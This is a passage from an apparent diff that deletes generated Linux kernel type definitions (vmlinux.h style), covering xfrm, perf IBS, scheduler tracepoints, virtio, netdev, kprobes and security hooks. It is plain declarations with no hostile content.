= 5, - XFRMNLGRP_REPORT = 6, - XFRMNLGRP_MIGRATE = 7, - XFRMNLGRP_MAPPING = 8, - __XFRMNLGRP_MAX = 9, -}; - -struct km_event { - union { - u32 hard; - u32 proto; - u32 byid; - u32 aevent; - u32 type; - } data; - u32 seq; - u32 portid; - u32 event; - struct net *net; -}; - -struct xfrm_kmaddress { - xfrm_address_t local; - xfrm_address_t remote; - u32 reserved; - u16 family; -}; - -struct xfrm_migrate { - xfrm_address_t old_daddr; - xfrm_address_t old_saddr; - xfrm_address_t new_daddr; - xfrm_address_t new_saddr; - u8 proto; - u8 mode; - u16 reserved; - u32 reqid; - u16 old_family; - u16 new_family; -}; - -struct xfrm_mgr { - struct list_head list; - int (*notify)(struct xfrm_state *, const struct km_event *); - int (*acquire)(struct xfrm_state *, struct xfrm_tmpl *, struct xfrm_policy *); - struct xfrm_policy * (*compile_policy)(struct sock *, int, u8 *, int, int *); - int (*new_mapping)(struct xfrm_state *, xfrm_address_t *, __be16); - int (*notify_policy)(struct xfrm_policy *, int, const struct km_event *); - int (*report)(struct net *, u8, struct xfrm_selector *, xfrm_address_t *); - int (*migrate)(const struct xfrm_selector *, u8, u8, const struct xfrm_migrate *, int, const struct xfrm_kmaddress *, const struct xfrm_encap_tmpl *); - bool (*is_alive)(const struct km_event *); -}; - -struct xfrmk_sadinfo { - u32 sadhcnt; - u32 sadhmcnt; - u32 sadcnt; -}; - -struct xfrm_translator { - int (*alloc_compat)(struct sk_buff *, const struct nlmsghdr *); - struct nlmsghdr * (*rcv_msg_compat)(const struct nlmsghdr *, int, const struct nla_policy *, struct netlink_ext_ack *); - int (*xlate_user_policy_sockptr)(u8 **, int); - struct module *owner; -}; - -struct join_entry { - u32 token; - u32 remote_nonce; - u32 local_nonce; - u8 join_id; - u8 local_id; - u8 backup; - u8 valid; -}; - -union ibs_fetch_ctl { - __u64 val; - struct { - __u64 fetch_maxcnt: 16; - __u64 fetch_cnt: 16; - __u64 fetch_lat: 16; - __u64 fetch_en: 1; - __u64 fetch_val: 1; - __u64 fetch_comp: 1; - __u64 ic_miss: 1; - __u64 phy_addr_valid: 1; - __u64 l1tlb_pgsz: 2; - __u64 l1tlb_miss: 1; - __u64 l2tlb_miss: 1; - __u64 rand_en: 1; - __u64 fetch_l2_miss: 1; - __u64 l3_miss_only: 1; - __u64 fetch_oc_miss: 1; - __u64 fetch_l3_miss: 1; - __u64 reserved: 2; - }; -}; - -union ibs_op_ctl { - __u64 val; - struct { - __u64 opmaxcnt: 16; - __u64 l3_miss_only: 1; - __u64 op_en: 1; - __u64 op_val: 1; - __u64 cnt_ctl: 1; - __u64 opmaxcnt_ext: 7; - __u64 reserved0: 5; - __u64 opcurcnt: 27; - __u64 reserved1: 5; - }; -}; - -union ibs_op_data { - __u64 val; - struct { - __u64 comp_to_ret_ctr: 16; - __u64 tag_to_ret_ctr: 16; - __u64 reserved1: 2; - __u64 op_return: 1; - __u64 op_brn_taken: 1; - __u64 op_brn_misp: 1; - __u64 op_brn_ret: 1; - __u64 op_rip_invalid: 1; - __u64 op_brn_fuse: 1; - __u64 op_microcode: 1; - __u64 reserved2: 23; - }; -}; - -union ibs_op_data2 { - __u64 val; - struct { - __u64 data_src_lo: 3; - __u64 reserved0: 1; - __u64 rmt_node: 1; - __u64 cache_hit_st: 1; - __u64 data_src_hi: 2; - __u64 reserved1: 56; - }; -}; - -union ibs_op_data3 { - __u64 val; - struct { - __u64 ld_op: 1; - __u64 st_op: 1; - __u64 dc_l1tlb_miss: 1; - __u64 dc_l2tlb_miss: 1; - __u64 dc_l1tlb_hit_2m: 1; - __u64 dc_l1tlb_hit_1g: 1; - __u64 dc_l2tlb_hit_2m: 1; - __u64 dc_miss: 1; - __u64 dc_mis_acc: 1; - __u64 reserved: 4; - __u64 dc_wc_mem_acc: 1; - __u64 dc_uc_mem_acc: 1; - __u64 dc_locked_op: 1; - __u64 dc_miss_no_mab_alloc: 1; - __u64 dc_lin_addr_valid: 1; - __u64 dc_phy_addr_valid: 1; - __u64 dc_l2_tlb_hit_1g: 1; - __u64 l2_miss: 1; - __u64 sw_pf: 1; - __u64 op_mem_width: 4; - __u64 op_dc_miss_open_mem_reqs: 6; - __u64 dc_miss_lat: 16; - __u64 tlb_refill_lat: 16; - }; -}; - -struct perf_ibs_data { - u32 size; - union { - u32 data[0]; - u32 caps; - }; - u64 regs[8]; -}; - -enum ibs_states { - IBS_ENABLED = 0, - IBS_STARTED = 1, - IBS_STOPPING = 2, - IBS_STOPPED = 3, - IBS_MAX_STATES = 4, -}; - -struct cpu_perf_ibs { - struct perf_event *event; - long unsigned int state[1]; -}; - -struct perf_ibs { - struct pmu pmu; - unsigned int msr; - u64 config_mask; - u64 cnt_mask; - u64 enable_mask; - u64 valid_mask; - u64 max_period; - long unsigned int offset_mask[1]; - int offset_max; - unsigned int fetch_count_reset_broken: 1; - unsigned int fetch_ignore_if_zero_rip: 1; - struct cpu_perf_ibs *pcpu; - u64 (*get_count)(u64); -}; - -enum { - MEMBARRIER_STATE_PRIVATE_EXPEDITED_READY = 1, - MEMBARRIER_STATE_PRIVATE_EXPEDITED = 2, - MEMBARRIER_STATE_GLOBAL_EXPEDITED_READY = 4, - MEMBARRIER_STATE_GLOBAL_EXPEDITED = 8, - MEMBARRIER_STATE_PRIVATE_EXPEDITED_SYNC_CORE_READY = 16, - MEMBARRIER_STATE_PRIVATE_EXPEDITED_SYNC_CORE = 32, - MEMBARRIER_STATE_PRIVATE_EXPEDITED_RSEQ_READY = 64, - MEMBARRIER_STATE_PRIVATE_EXPEDITED_RSEQ = 128, -}; - -enum ctx_state { - CONTEXT_DISABLED = -1, - CONTEXT_KERNEL = 0, - CONTEXT_IDLE = 1, - CONTEXT_USER = 2, - CONTEXT_GUEST = 3, - CONTEXT_MAX = 4, -}; - -struct kernel_stat { - long unsigned int irqs_sum; - unsigned int softirqs[10]; -}; - -struct sched_param { - int sched_priority; -}; - -struct trace_event_raw_sched_kthread_stop { - struct trace_entry ent; - char comm[16]; - pid_t pid; - char __data[0]; -}; - -struct trace_event_raw_sched_kthread_stop_ret { - struct trace_entry ent; - int ret; - char __data[0]; -}; - -struct trace_event_raw_sched_kthread_work_queue_work { - struct trace_entry ent; - void *work; - void *function; - void *worker; - char __data[0]; -}; - -struct trace_event_raw_sched_kthread_work_execute_start { - struct trace_entry ent; - void *work; - void *function; - char __data[0]; -}; - -struct trace_event_raw_sched_kthread_work_execute_end { - struct trace_entry ent; - void *work; - void *function; - char __data[0]; -}; - -struct trace_event_raw_sched_wakeup_template { - struct trace_entry ent; - char comm[16]; - pid_t pid; - int prio; - int target_cpu; - char __data[0]; -}; - -struct trace_event_raw_sched_switch { - struct trace_entry ent; - char prev_comm[16]; - pid_t prev_pid; - int prev_prio; - long int prev_state; - char next_comm[16]; - pid_t next_pid; - int next_prio; - char __data[0]; -}; - -struct trace_event_raw_sched_migrate_task { - struct trace_entry ent; - char comm[16]; - pid_t pid; - int prio; - int orig_cpu; - int dest_cpu; - char __data[0]; -}; - -struct trace_event_raw_sched_process_template { - struct trace_entry ent; - char comm[16]; - pid_t pid; - int prio; - char __data[0]; -}; - -struct trace_event_raw_sched_process_wait { - struct trace_entry ent; - char comm[16]; - pid_t pid; - int prio; - char __data[0]; -}; - -struct trace_event_raw_sched_process_fork { - struct trace_entry ent; - char parent_comm[16]; - pid_t parent_pid; - char child_comm[16]; - pid_t child_pid; - char __data[0]; -}; - -struct trace_event_raw_sched_process_exec { - struct trace_entry ent; - u32 __data_loc_filename; - pid_t pid; - pid_t old_pid; - char __data[0]; -}; - -struct trace_event_raw_sched_stat_template { - struct trace_entry ent; - char comm[16]; - pid_t pid; - u64 delay; - char __data[0]; -}; - -struct trace_event_raw_sched_stat_runtime { - struct trace_entry ent; - char comm[16]; - pid_t pid; - u64 runtime; - u64 vruntime; - char __data[0]; -}; - -struct trace_event_raw_sched_pi_setprio { - struct trace_entry ent; - char comm[16]; - pid_t pid; - int oldprio; - int newprio; - char __data[0]; -}; - -struct trace_event_raw_sched_process_hang { - struct trace_entry ent; - char comm[16]; - pid_t pid; - char __data[0]; -}; - -struct trace_event_raw_sched_move_numa { - struct trace_entry ent; - pid_t pid; - pid_t tgid; - pid_t ngid; - int src_cpu; - int src_nid; - int dst_cpu; - int dst_nid; - char __data[0]; -}; - -struct trace_event_raw_sched_numa_pair_template { - struct trace_entry ent; - pid_t src_pid; - pid_t src_tgid; - pid_t src_ngid; - int src_cpu; - int src_nid; - pid_t dst_pid; - pid_t dst_tgid; - pid_t dst_ngid; - int dst_cpu; - int dst_nid; - char __data[0]; -}; - -struct trace_event_raw_sched_wake_idle_without_ipi { - struct trace_entry ent; - int cpu; - char __data[0]; -}; - -struct trace_event_data_offsets_sched_kthread_stop {}; - -struct trace_event_data_offsets_sched_kthread_stop_ret {}; - -struct trace_event_data_offsets_sched_kthread_work_queue_work {}; - -struct trace_event_data_offsets_sched_kthread_work_execute_start {}; - -struct trace_event_data_offsets_sched_kthread_work_execute_end {}; - -struct trace_event_data_offsets_sched_wakeup_template {}; - -struct trace_event_data_offsets_sched_switch {}; - -struct trace_event_data_offsets_sched_migrate_task {}; - -struct trace_event_data_offsets_sched_process_template {}; - -struct trace_event_data_offsets_sched_process_wait {}; - -struct trace_event_data_offsets_sched_process_fork {}; - -struct trace_event_data_offsets_sched_process_exec { - u32 filename; -}; - -struct trace_event_data_offsets_sched_stat_template {}; - -struct trace_event_data_offsets_sched_stat_runtime {}; - -struct trace_event_data_offsets_sched_pi_setprio {}; - -struct trace_event_data_offsets_sched_process_hang {}; - -struct trace_event_data_offsets_sched_move_numa {}; - -struct trace_event_data_offsets_sched_numa_pair_template {}; - -struct trace_event_data_offsets_sched_wake_idle_without_ipi {}; - -typedef void (*btf_trace_sched_kthread_stop)(void *, struct task_struct *); - -typedef void (*btf_trace_sched_kthread_stop_ret)(void *, int); - -typedef void (*btf_trace_sched_kthread_work_queue_work)(void *, struct kthread_worker *, struct kthread_work *); - -typedef void (*btf_trace_sched_kthread_work_execute_start)(void *, struct kthread_work *); - -typedef void (*btf_trace_sched_kthread_work_execute_end)(void *, struct kthread_work *, kthread_work_func_t); - -typedef void (*btf_trace_sched_waking)(void *, struct task_struct *); - -typedef void (*btf_trace_sched_wakeup)(void *, struct task_struct *); - -typedef void (*btf_trace_sched_wakeup_new)(void *, struct task_struct *); - -typedef void (*btf_trace_sched_switch)(void *, bool, struct task_struct *, struct task_struct *, unsigned int); - -typedef void (*btf_trace_sched_migrate_task)(void *, struct task_struct *, int); - -typedef void (*btf_trace_sched_process_free)(void *, struct task_struct *); - -typedef void (*btf_trace_sched_process_exit)(void *, struct task_struct *); - -typedef void (*btf_trace_sched_wait_task)(void *, struct task_struct *); - -typedef void (*btf_trace_sched_process_wait)(void *, struct pid *); - -typedef void (*btf_trace_sched_process_fork)(void *, struct task_struct *, struct task_struct *); - -typedef void (*btf_trace_sched_process_exec)(void *, struct task_struct *, pid_t, struct linux_binprm *); - -typedef void (*btf_trace_sched_stat_wait)(void *, struct task_struct *, u64); - -typedef void (*btf_trace_sched_stat_sleep)(void *, struct task_struct *, u64); - -typedef void (*btf_trace_sched_stat_iowait)(void *, struct task_struct *, u64); - -typedef void (*btf_trace_sched_stat_blocked)(void *, struct task_struct *, u64); - -typedef void (*btf_trace_sched_stat_runtime)(void *, struct task_struct *, u64, u64); - -typedef void (*btf_trace_sched_pi_setprio)(void *, struct task_struct *, struct task_struct *); - -typedef void (*btf_trace_sched_process_hang)(void *, struct task_struct *); - -typedef void (*btf_trace_sched_move_numa)(void *, struct task_struct *, int, int); - -typedef void (*btf_trace_sched_stick_numa)(void *, struct task_struct *, int, struct task_struct *, int); - -typedef void (*btf_trace_sched_swap_numa)(void *, struct task_struct *, int, struct task_struct *, int); - -typedef void (*btf_trace_sched_wake_idle_without_ipi)(void *, int); - -typedef void (*btf_trace_pelt_cfs_tp)(void *, struct cfs_rq *); - -typedef void (*btf_trace_pelt_rt_tp)(void *, struct rq *); - -typedef void (*btf_trace_pelt_dl_tp)(void *, struct rq *); - -typedef void (*btf_trace_pelt_thermal_tp)(void *, struct rq *); - -typedef void (*btf_trace_pelt_irq_tp)(void *, struct rq *); - -typedef void (*btf_trace_pelt_se_tp)(void *, struct sched_entity *); - -typedef void (*btf_trace_sched_cpu_capacity_tp)(void *, struct rq *); - -typedef void (*btf_trace_sched_overutilized_tp)(void *, struct root_domain *, bool); - -typedef void (*btf_trace_sched_util_est_cfs_tp)(void *, struct cfs_rq *); - -typedef void (*btf_trace_sched_util_est_se_tp)(void *, struct sched_entity *); - -typedef void (*btf_trace_sched_update_nr_running_tp)(void *, struct rq *, int); - -typedef int (*tg_visitor)(struct task_group *, void *); - -struct sched_entity_stats { - struct sched_entity se; - struct sched_statistics stats; -}; - -enum cpu_util_type { - FREQUENCY_UTIL = 0, - ENERGY_UTIL = 1, -}; - -struct set_affinity_pending; - -struct migration_arg { - struct task_struct *task; - int dest_cpu; - struct set_affinity_pending *pending; -}; - -struct set_affinity_pending { - refcount_t refs; - unsigned int stop_pending; - struct completion done; - struct cpu_stop_work stop_work; - struct migration_arg arg; -}; - -struct migration_swap_arg { - struct task_struct *src_task; - struct task_struct *dst_task; - int src_cpu; - int dst_cpu; -}; - -enum { - preempt_dynamic_undefined = -1, - preempt_dynamic_none = 0, - preempt_dynamic_voluntary = 1, - preempt_dynamic_full = 2, -}; - -struct cfs_schedulable_data { - struct task_group *tg; - u64 period; - u64 quota; -}; - -enum { - cpuset = 0, - possible = 1, - fail = 2, -}; - -struct virtio_pci_common_cfg { - __le32 device_feature_select; - __le32 device_feature; - __le32 guest_feature_select; - __le32 guest_feature; - __le16 msix_config; - __le16 num_queues; - __u8 device_status; - __u8 config_generation; - __le16 queue_select; - __le16 queue_size; - __le16 queue_msix_vector; - __le16 queue_enable; - __le16 queue_notify_off; - __le32 queue_desc_lo; - __le32 queue_desc_hi; - __le32 queue_avail_lo; - __le32 queue_avail_hi; - __le32 queue_used_lo; - __le32 queue_used_hi; -}; - -struct virtio_pci_legacy_device { - struct pci_dev *pci_dev; - u8 *isr; - void *ioaddr; - struct virtio_device_id id; -}; - -struct virtio_pci_modern_device { - struct pci_dev *pci_dev; - struct virtio_pci_common_cfg *common; - void *device; - void *notify_base; - resource_size_t notify_pa; - u8 *isr; - size_t notify_len; - size_t device_len; - int notify_map_cap; - u32 notify_offset_multiplier; - int modern_bars; - struct virtio_device_id id; -}; - -struct virtio_pci_vq_info { - struct virtqueue *vq; - struct list_head node; - unsigned int msix_vector; -}; - -struct virtio_pci_device { - struct virtio_device vdev; - struct pci_dev *pci_dev; - struct virtio_pci_legacy_device ldev; - struct virtio_pci_modern_device mdev; - bool is_legacy; - u8 *isr; - spinlock_t lock; - struct list_head virtqueues; - struct virtio_pci_vq_info **vqs; - int msix_enabled; - int intx_enabled; - cpumask_var_t *msix_affinity_masks; - char (*msix_names)[256]; - unsigned int msix_vectors; - unsigned int msix_used_vectors; - bool per_vq_vectors; - struct virtqueue * (*setup_vq)(struct virtio_pci_device *, struct virtio_pci_vq_info *, unsigned int, void (*)(struct virtqueue *), const char *, bool, u16); - void (*del_vq)(struct virtio_pci_vq_info *); - u16 (*config_vector)(struct virtio_pci_device *, u16); -}; - -enum { - VP_MSIX_CONFIG_VECTOR = 0, - VP_MSIX_VQ_VECTOR = 1, -}; - -enum tpm_algorithms { - TPM_ALG_ERROR = 0, - TPM_ALG_SHA1 = 4, - TPM_ALG_KEYEDHASH = 8, - TPM_ALG_SHA256 = 11, - TPM_ALG_SHA384 = 12, - TPM_ALG_SHA512 = 13, - TPM_ALG_NULL = 16, - TPM_ALG_SM3_256 = 18, -}; - -struct tpm1_get_random_out { - __be32 rng_data_len; - u8 rng_data[128]; -}; - -struct builtin_fw { - char *name; - void *data; - long unsigned int size; -}; - -enum dma_resv_usage { - DMA_RESV_USAGE_KERNEL = 0, - DMA_RESV_USAGE_WRITE = 1, - DMA_RESV_USAGE_READ = 2, - DMA_RESV_USAGE_BOOKKEEP = 3, -}; - -struct dma_resv_list; - -struct dma_resv { - struct ww_mutex lock; - struct dma_resv_list *fences; -}; - -struct dma_resv_list { - struct callback_head rcu; - u32 num_fences; - u32 max_fences; - struct dma_fence *table[0]; -}; - -struct dma_resv_iter { - struct dma_resv *obj; - enum dma_resv_usage usage; - struct dma_fence *fence; - enum dma_resv_usage fence_usage; - unsigned int index; - struct dma_resv_list *fences; - unsigned int num_fences; - bool is_restarted; -}; - -struct pps_kinfo { - __u32 assert_sequence; - __u32 clear_sequence; - struct pps_ktime assert_tu; - struct pps_ktime clear_tu; - int current_mode; -}; - -struct pps_fdata { - struct pps_kinfo info; - struct pps_ktime timeout; -}; - -struct pps_bind_args { - int tsformat; - int edge; - int consumer; -}; - -struct skb_checksum_ops { - __wsum (*update)(const void *, int, __wsum); - __wsum (*combine)(__wsum, __wsum, int, int); -}; - -enum { - NAPIF_STATE_SCHED = 1, - NAPIF_STATE_MISSED = 2, - NAPIF_STATE_DISABLE = 4, - NAPIF_STATE_NPSVC = 8, - NAPIF_STATE_LISTED = 16, - NAPIF_STATE_NO_BUSY_POLL = 32, - NAPIF_STATE_IN_BUSY_POLL = 64, - NAPIF_STATE_PREFER_BUSY_POLL = 128, - NAPIF_STATE_THREADED = 256, - NAPIF_STATE_SCHED_THREADED = 512, -}; - -struct net_device_path_stack { - int num_paths; - struct net_device_path path[5]; -}; - -struct bpf_xdp_link { - struct bpf_link link; - struct net_device *dev; - int flags; -}; - -struct netdev_net_notifier { - struct list_head list; - struct notifier_block *nb; -}; - -struct netdev_notifier_info_ext { - struct netdev_notifier_info info; - union { - u32 mtu; - } ext; -}; - -struct netdev_notifier_change_info { - struct netdev_notifier_info info; - unsigned int flags_changed; -}; - -struct netdev_notifier_changeupper_info { - struct netdev_notifier_info info; - struct net_device *upper_dev; - bool master; - bool linking; - void *upper_info; -}; - -struct netdev_notifier_changelowerstate_info { - struct netdev_notifier_info info; - void *lower_state_info; -}; - -struct netdev_notifier_pre_changeaddr_info { - struct netdev_notifier_info info; - const unsigned char *dev_addr; -}; - -struct netdev_notifier_offload_xstats_rd { - struct rtnl_hw_stats64 stats; - bool used; -}; - -struct netdev_notifier_offload_xstats_ru { - bool used; -}; - -struct netdev_notifier_offload_xstats_info { - struct netdev_notifier_info info; - enum netdev_offload_xstats_type type; - union { - struct netdev_notifier_offload_xstats_rd *report_delta; - struct netdev_notifier_offload_xstats_ru *report_used; - }; -}; - -enum { - NESTED_SYNC_IMM_BIT = 0, - NESTED_SYNC_TODO_BIT = 1, -}; - -struct netdev_notifier_bonding_info { - struct netdev_notifier_info info; - struct netdev_bonding_info bonding_info; -}; - -enum qdisc_state_t { - __QDISC_STATE_SCHED = 0, - __QDISC_STATE_DEACTIVATED = 1, - __QDISC_STATE_MISSED = 2, - __QDISC_STATE_DRAINING = 3, -}; - -enum qdisc_state2_t { - __QDISC_STATE2_RUNNING = 0, -}; - -enum sctp_msg_flags { - MSG_NOTIFICATION = 32768, -}; - -typedef int (*bpf_op_t)(struct net_device *, struct netdev_bpf *); - -struct dev_kfree_skb_cb { - enum skb_free_reason reason; -}; - -struct netdev_adjacent { - struct net_device *dev; - netdevice_tracker dev_tracker; - bool master; - bool ignore; - u16 ref_nr; - void *private; - struct list_head list; - struct callback_head rcu; -}; - -struct amd_uncore { - int id; - int refcnt; - int cpu; - int num_counters; - int rdpmc_base; - u32 msr_base; - cpumask_t *active_mask; - struct pmu *pmu; - struct perf_event **events; - struct hlist_node node; -}; - -struct acpi_srat_cpu_affinity { - struct acpi_subtable_header header; - u8 proximity_domain_lo; - u8 apic_id; - u32 flags; - u8 local_sapic_eid; - u8 proximity_domain_hi[3]; - u32 clock_domain; -}; - -struct acpi_srat_x2apic_cpu_affinity { - struct acpi_subtable_header header; - u16 reserved; - u32 proximity_domain; - u32 apic_id; - u32 flags; - u32 clock_domain; - u32 reserved2; -}; - -enum uv_system_type { - UV_NONE = 0, - UV_LEGACY_APIC = 1, - UV_X2APIC = 2, -}; - -struct rnd_state { - __u32 s1; - __u32 s2; - __u32 s3; - __u32 s4; -}; - -struct kaslr_memory_region { - long unsigned int *base; - long unsigned int size_tb; -}; - -enum { - IRQCHIP_SET_TYPE_MASKED = 1, - IRQCHIP_EOI_IF_HANDLED = 2, - IRQCHIP_MASK_ON_SUSPEND = 4, - IRQCHIP_ONOFFLINE_ENABLED = 8, - IRQCHIP_SKIP_SET_WAKE = 16, - IRQCHIP_ONESHOT_SAFE = 32, - IRQCHIP_EOI_THREADED = 64, - IRQCHIP_SUPPORTS_LEVEL_MSI = 128, - IRQCHIP_SUPPORTS_NMI = 256, - IRQCHIP_ENABLE_WAKEUP_ON_SUSPEND = 512, - IRQCHIP_AFFINITY_PRE_STARTUP = 1024, - IRQCHIP_IMMUTABLE = 2048, -}; - -enum { - IRQC_IS_HARDIRQ = 0, - IRQC_IS_NESTED = 1, -}; - -enum { - IRQTF_RUNTHREAD = 0, - IRQTF_WARNED = 1, - IRQTF_AFFINITY = 2, - IRQTF_FORCED_THREAD = 3, - IRQTF_READY = 4, -}; - -struct timezone { - int tz_minuteswest; - int tz_dsttime; -}; - -struct tk_read_base { - struct clocksource *clock; - u64 mask; - u64 cycle_last; - u32 mult; - u32 shift; - u64 xtime_nsec; - ktime_t base; - u64 base_real; -}; - -struct timekeeper { - struct tk_read_base tkr_mono; - struct tk_read_base tkr_raw; - u64 xtime_sec; - long unsigned int ktime_sec; - struct timespec64 wall_to_monotonic; - ktime_t offs_real; - ktime_t offs_boot; - ktime_t offs_tai; - s32 tai_offset; - unsigned int clock_was_set_seq; - u8 cs_was_changed_seq; - ktime_t next_leap_ktime; - u64 raw_sec; - struct timespec64 monotonic_to_boot; - u64 cycle_interval; - u64 xtime_interval; - s64 xtime_remainder; - u64 raw_interval; - u64 ntp_tick; - s64 ntp_error; - u32 ntp_error_shift; - u32 ntp_err_mult; - u32 skip_second_overflow; -}; - -struct proc_timens_offset { - int clockid; - struct timespec64 val; -}; - -struct rchan_percpu_buf_dispatcher { - struct rchan_buf *buf; - struct dentry *dentry; -}; - -struct kprobe_trace_entry_head { - struct trace_entry ent; - long unsigned int ip; -}; - -struct kretprobe_trace_entry_head { - struct trace_entry ent; - long unsigned int func; - long unsigned int ret_ip; -}; - -struct dyn_event; - -struct dyn_event_operations { - struct list_head list; - int (*create)(const char *); - int (*show)(struct seq_file *, struct dyn_event *); - bool (*is_busy)(struct dyn_event *); - int (*free)(struct dyn_event *); - bool (*match)(const char *, const char *, int, const char **, struct dyn_event *); -}; - -struct dyn_event { - struct list_head list; - struct dyn_event_operations *ops; -}; - -typedef int (*dynevent_check_arg_fn_t)(void *); - -struct dynevent_arg { - const char *str; - char separator; -}; - -typedef u8 kprobe_opcode_t; - -struct kprobe; - -struct arch_specific_insn { - kprobe_opcode_t *insn; - unsigned int boostable: 1; - unsigned char size; - union { - unsigned char opcode; - struct { - unsigned char type; - } jcc; - struct { - unsigned char type; - unsigned char asize; - } loop; - struct { - unsigned char reg; - } indirect; - }; - s32 rel32; - void (*emulate_op)(struct kprobe *, struct pt_regs *); - int tp_len; -}; - -typedef int (*kprobe_pre_handler_t)(struct kprobe *, struct pt_regs *); - -typedef void (*kprobe_post_handler_t)(struct kprobe *, struct pt_regs *, long unsigned int); - -struct kprobe { - struct hlist_node hlist; - struct list_head list; - long unsigned int nmissed; - kprobe_opcode_t *addr; - const char *symbol_name; - unsigned int offset; - kprobe_pre_handler_t pre_handler; - kprobe_post_handler_t post_handler; - kprobe_opcode_t opcode; - struct arch_specific_insn ainsn; - u32 flags; -}; - -struct kretprobe_instance; - -typedef int (*kretprobe_handler_t)(struct kretprobe_instance *, struct pt_regs *); - -struct kretprobe_instance { - struct rethook_node node; - char data[0]; -}; - -struct kretprobe { - struct kprobe kp; - kretprobe_handler_t handler; - kretprobe_handler_t entry_handler; - int maxactive; - int nmissed; - size_t data_size; - struct rethook *rh; -}; - -typedef int (*print_type_func_t)(struct trace_seq *, void *, void *); - -enum fetch_op { - FETCH_OP_NOP = 0, - FETCH_OP_REG = 1, - FETCH_OP_STACK = 2, - FETCH_OP_STACKP = 3, - FETCH_OP_RETVAL = 4, - FETCH_OP_IMM = 5, - FETCH_OP_COMM = 6, - FETCH_OP_ARG = 7, - FETCH_OP_FOFFS = 8, - FETCH_OP_DATA = 9, - FETCH_OP_DEREF = 10, - FETCH_OP_UDEREF = 11, - FETCH_OP_ST_RAW = 12, - FETCH_OP_ST_MEM = 13, - FETCH_OP_ST_UMEM = 14, - FETCH_OP_ST_STRING = 15, - FETCH_OP_ST_USTRING = 16, - FETCH_OP_MOD_BF = 17, - FETCH_OP_LP_ARRAY = 18, - FETCH_OP_TP_ARG = 19, - FETCH_OP_END = 20, - FETCH_NOP_SYMBOL = 21, -}; - -struct fetch_insn { - enum fetch_op op; - union { - unsigned int param; - struct { - unsigned int size; - int offset; - }; - struct { - unsigned char basesize; - unsigned char lshift; - unsigned char rshift; - }; - long unsigned int immediate; - void *data; - }; -}; - -struct fetch_type { - const char *name; - size_t size; - int is_signed; - print_type_func_t print; - const char *fmt; - const char *fmttype; -}; - -struct probe_arg { - struct fetch_insn *code; - bool dynamic; - unsigned int offset; - unsigned int count; - const char *name; - const char *comm; - char *fmt; - const struct fetch_type *type; -}; - -struct trace_uprobe_filter { - rwlock_t rwlock; - int nr_systemwide; - struct list_head perf_events; -}; - -struct trace_probe_event { - unsigned int flags; - struct trace_event_class class; - struct trace_event_call call; - struct list_head files; - struct list_head probes; - struct trace_uprobe_filter filter[0]; -}; - -struct trace_probe { - struct list_head list; - struct trace_probe_event *event; - ssize_t size; - unsigned int nr_args; - struct probe_arg args[0]; -}; - -struct event_file_link { - struct trace_event_file *file; - struct list_head list; -}; - -enum probe_print_type { - PROBE_PRINT_NORMAL = 0, - PROBE_PRINT_RETURN = 1, - PROBE_PRINT_EVENT = 2, -}; - -enum { - TP_ERR_FILE_NOT_FOUND = 0, - TP_ERR_NO_REGULAR_FILE = 1, - TP_ERR_BAD_REFCNT = 2, - TP_ERR_REFCNT_OPEN_BRACE = 3, - TP_ERR_BAD_REFCNT_SUFFIX = 4, - TP_ERR_BAD_UPROBE_OFFS = 5, - TP_ERR_MAXACT_NO_KPROBE = 6, - TP_ERR_BAD_MAXACT = 7, - TP_ERR_MAXACT_TOO_BIG = 8, - TP_ERR_BAD_PROBE_ADDR = 9, - TP_ERR_BAD_RETPROBE = 10, - TP_ERR_BAD_ADDR_SUFFIX = 11, - TP_ERR_NO_GROUP_NAME = 12, - TP_ERR_GROUP_TOO_LONG = 13, - TP_ERR_BAD_GROUP_NAME = 14, - TP_ERR_NO_EVENT_NAME = 15, - TP_ERR_EVENT_TOO_LONG = 16, - TP_ERR_BAD_EVENT_NAME = 17, - TP_ERR_EVENT_EXIST = 18, - TP_ERR_RETVAL_ON_PROBE = 19, - TP_ERR_BAD_STACK_NUM = 20, - TP_ERR_BAD_ARG_NUM = 21, - TP_ERR_BAD_VAR = 22, - TP_ERR_BAD_REG_NAME = 23, - TP_ERR_BAD_MEM_ADDR = 24, - TP_ERR_BAD_IMM = 25, - TP_ERR_IMMSTR_NO_CLOSE = 26, - TP_ERR_FILE_ON_KPROBE = 27, - TP_ERR_BAD_FILE_OFFS = 28, - TP_ERR_SYM_ON_UPROBE = 29, - TP_ERR_TOO_MANY_OPS = 30, - TP_ERR_DEREF_NEED_BRACE = 31, - TP_ERR_BAD_DEREF_OFFS = 32, - TP_ERR_DEREF_OPEN_BRACE = 33, - TP_ERR_COMM_CANT_DEREF = 34, - TP_ERR_BAD_FETCH_ARG = 35, - TP_ERR_ARRAY_NO_CLOSE = 36, - TP_ERR_BAD_ARRAY_SUFFIX = 37, - TP_ERR_BAD_ARRAY_NUM = 38, - TP_ERR_ARRAY_TOO_BIG = 39, - TP_ERR_BAD_TYPE = 40, - TP_ERR_BAD_STRING = 41, - TP_ERR_BAD_BITFIELD = 42, - TP_ERR_ARG_NAME_TOO_LONG = 43, - TP_ERR_NO_ARG_NAME = 44, - TP_ERR_BAD_ARG_NAME = 45, - TP_ERR_USED_ARG_NAME = 46, - TP_ERR_ARG_TOO_LONG = 47, - TP_ERR_NO_ARG_BODY = 48, - TP_ERR_BAD_INSN_BNDRY = 49, - TP_ERR_FAIL_REG_PROBE = 50, - TP_ERR_DIFF_PROBE_TYPE = 51, - TP_ERR_DIFF_ARG_TYPE = 52, - TP_ERR_SAME_PROBE = 53, - TP_ERR_NO_EVENT_INFO = 54, - TP_ERR_BAD_ATTACH_EVENT = 55, - TP_ERR_BAD_ATTACH_ARG = 56, - TP_ERR_NO_EP_FILTER = 57, -}; - -struct trace_kprobe { - struct dyn_event devent; - struct kretprobe rp; - long unsigned int *nhit; - const char *symbol; - struct trace_probe tp; -}; - -struct sembuf { - short unsigned int sem_num; - short int sem_op; - short int sem_flg; -}; - -struct sctp_association; - -union security_list_options { - int (*binder_set_context_mgr)(const struct cred *); - int (*binder_transaction)(const struct cred *, const struct cred *); - int (*binder_transfer_binder)(const struct cred *, const struct cred *); - int (*binder_transfer_file)(const struct cred *, const struct cred *, struct file *); - int (*ptrace_access_check)(struct task_struct *, unsigned int); - int (*ptrace_traceme)(struct task_struct *); - int (*capget)(struct task_struct *, kernel_cap_t *, kernel_cap_t *, kernel_cap_t *); - int (*capset)(struct cred *, const struct cred *, const kernel_cap_t *, const kernel_cap_t *, const kernel_cap_t *); - int (*capable)(const struct cred *, struct user_namespace *, int, unsigned int); - int (*quotactl)(int, int, int, struct super_block *); - int (*quota_on)(struct dentry *); - int (*syslog)(int); - int (*settime)(const struct timespec64 *, const struct timezone *); - int 